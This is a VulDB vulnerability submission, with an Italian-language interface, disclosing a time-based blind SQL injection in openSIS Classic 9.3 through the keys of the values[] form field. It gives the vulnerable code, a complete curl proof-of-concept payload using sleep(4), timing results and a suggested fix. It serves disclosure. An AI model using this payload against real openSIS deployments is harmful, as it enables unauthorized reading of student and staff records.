Invia #954963: os4ed openSIS Classic (Community Edition) 9.3 SQL Injectioninformazioni

Titoloos4ed openSIS Classic (Community Edition) 9.3 SQL Injection
Descrizione## Affected Software - **Product**: openSIS Classic (Community Edition) - **Version**: 9.3 - **Repository**: https://github.com/OS4ED/openSIS-Classic - **Source revision**: master commit `ec86d7da2abbd0fc1b51c5cad250da043dcb6110` (HEAD at the 2026-06-02 release of 9.3; the repository has no V9.3 tag) ## Vulnerability Description The student data save flow (`modules/students/Student.php` save action, handled by `functions/SaveDataFnc.php`) iterates the POST form field `values[]` and uses each **first-level array key** as a table name, passing it unvalidated into `db_properties()`, which concatenates it straight into a `SHOW COLUMNS FROM <table>` statement. The key position in the SQL statement is fully attacker-controlled — the key can carry a complete `WHERE` clause whose scalar subquery is attacker-controlled SQL, enabling conditional queries against any table in the database (a time-based / boolean blind injection primitive); when a statement fails, the application's SQL error page echoes the assembled statement verbatim. Injection is single-request: as soon as the save request is submitted, the expression inside the key executes as part of the `SHOW COLUMNS` query. An attacker can use it for conditional reads against any table (for example, testing row counts against arbitrary conditions) and infer arbitrary database content bit by bit. The payload lives only in the request and is never stored, which makes this a reflected injection. ## Root Cause `functions/SaveDataFnc.php` (the generic save routine): ```php foreach($_REQUEST['values'] as $table=>$values) { // ... $table_properties = db_properties($table); ``` `$table` is the array key of `values[]` — a fully attacker-controlled string. The application's input-handling layer (`array_rwalk`, `paramlib_validation`) only processes form **values**; array keys pass through untouched. `functions/DatabaseInc.php` (inside `db_properties()`): ```php $result = DBQuery("SHOW COLUMNS FROM $table"); ``` The key is concatenated into the table-name position of the `SHOW COLUMNS` statement with no whitelist and no parameterization. The `WHERE` clause of `SHOW COLUMNS` accepts scalar subqueries, so a subquery embedded in the key is evaluated by the database row by row; on statement failure `DBQuery()` terminates via `db_show_error()`, echoing the full assembled statement on the error page. ## Proof of Concept Log in as an administrator (the student data save is a back-office function). `<session_cookie>` is the session cookie from the login, `<target>` is the target host. The URL must carry `modfunc=update` (otherwise the save branch is skipped entirely); the payload goes into the `values[]` key. Two submission details: PHP converts spaces and dots in POST keys to underscores, so whitespace inside the key is written as `/**/` comments and the statement tail is cut with a `#` comment; the `Field='STUDENT_ID'` term pins the WHERE clause to a single matching row so the subquery is evaluated once (making `sleep(4)` cost about 4 seconds rather than accumulating per row). Time-based blind injection — `sleep(4)` runs inside the SHOW COLUMNS WHERE subquery when the condition is true: ```bash curl -s -o /dev/null -w '%{time_total}\n' -X POST \ 'http://<target>/Modules.php?modname=students/Student.php&include=MedicalInc&category_id=3&student_id=1&modfunc=update' \ -b '<session_cookie>' \ --data-urlencode "values[students/**/WHERE/**/Field='STUDENT_ID'/**/AND/**/((SELECT/**/IF((SELECT/**/COUNT(*)/**/FROM/**/staff)>=1,sleep(4),0))/**/IS/**/NOT/**/NULL)#][7][dummy]=" ``` A benign request (the legitimate key `values[students][7][dummy]`) as control: same command with the `--data-urlencode` field changed to `values[students][7][dummy]=`. Expected result: the true-condition request takes about 4 seconds, the control about 0.15 s; swapping the condition for a subquery against any table (e.g. `(SELECT/**/COUNT(*)/**/FROM/**/<table>)>=N`) gives a true/false timing test over that table. The response is the application's SQL error page, whose `SQL:` panel echoes the assembled statement verbatim (including the injected key text). | Request (condition inside the `values[]` key) | Latency | | ------------------------------------------------------------ | --------------------------------------------- | | Control (legitimate key `values[students][7][dummy]`) | 0.150 s | | False condition `(SELECT COUNT(*) FROM staff)>=100000` | 0.149 s | | True condition (marker-bound) `(SELECT COUNT(*) FROM students)=1 AND 'zdqk6mark'='zdqk6mark'` | **4.164 s** (rerun **4.158 s** / **4.128 s**) | | True condition (arbitrary-table read) `(SELECT COUNT(*) FROM staff)>=1` | **4.179 s** | Error-page: the response page's `SQL:` panel echoes the assembled statement containing the full injected text — `UPDATE students/**/WHERE/**/Field='STUDENT_ID'/**/AND/**/((SELECT/**/IF((SELECT/**/COUNT(*)/**/FROM/**/students)=1/**/AND/**/'zdqk6mark'='zdqk6mark',sleep(4),0))/**/IS/**/NOT/**/NULL)# SET WHERE ` — with `Traceback: /var/www/html/functions/SaveDataFnc.php at 204`, proving the attacker-controlled SQL reached the database layer verbatim. Storage check: read-only queries on `students.GENDER` and `student_medical_notes` before and after the injected requests return identical contents— the payload leaves no stored trace, confirming the reflected nature; the observable effects are the time side channel and the error-page echo within the same request. ## Impact Any account that can reach a student data save page (back-office administrators and users with the corresponding privileges) can use this injection point to run conditional subqueries against any table with the application's database credentials: time-based / boolean blind inference of arbitrary query results, including schema information and business data. The injection sits in the generic save routine, so every save page that submits through the `values[]` form structure (such as the student medical information page) shares the same injection path. ## Suggested Fix Validate the `values[]` array keys against a whitelist of table names and use parameterized queries (or quoted identifiers) in `db_properties()` instead of concatenating the attacker-controlled key into `SHOW COLUMNS`.
Fonte⚠️ https://github.com/OS4ED/openSIS-Classic/issues/477
Utente
 360alphalab (UID 100924)
Sottomissione01/09/2026 07:52 (30 giorni fa)
Moderazione30/09/2026 07:52 (29 days later)
StatoAccettato
Voce VulDB411873 [OS4ED openSIS-Classic fino a 9.3 Save Data DatabaseInc.php db_properties values iniezione SQL]
Punti20

Do you want to use VulDB in your project?

Use the official API to access entries easily!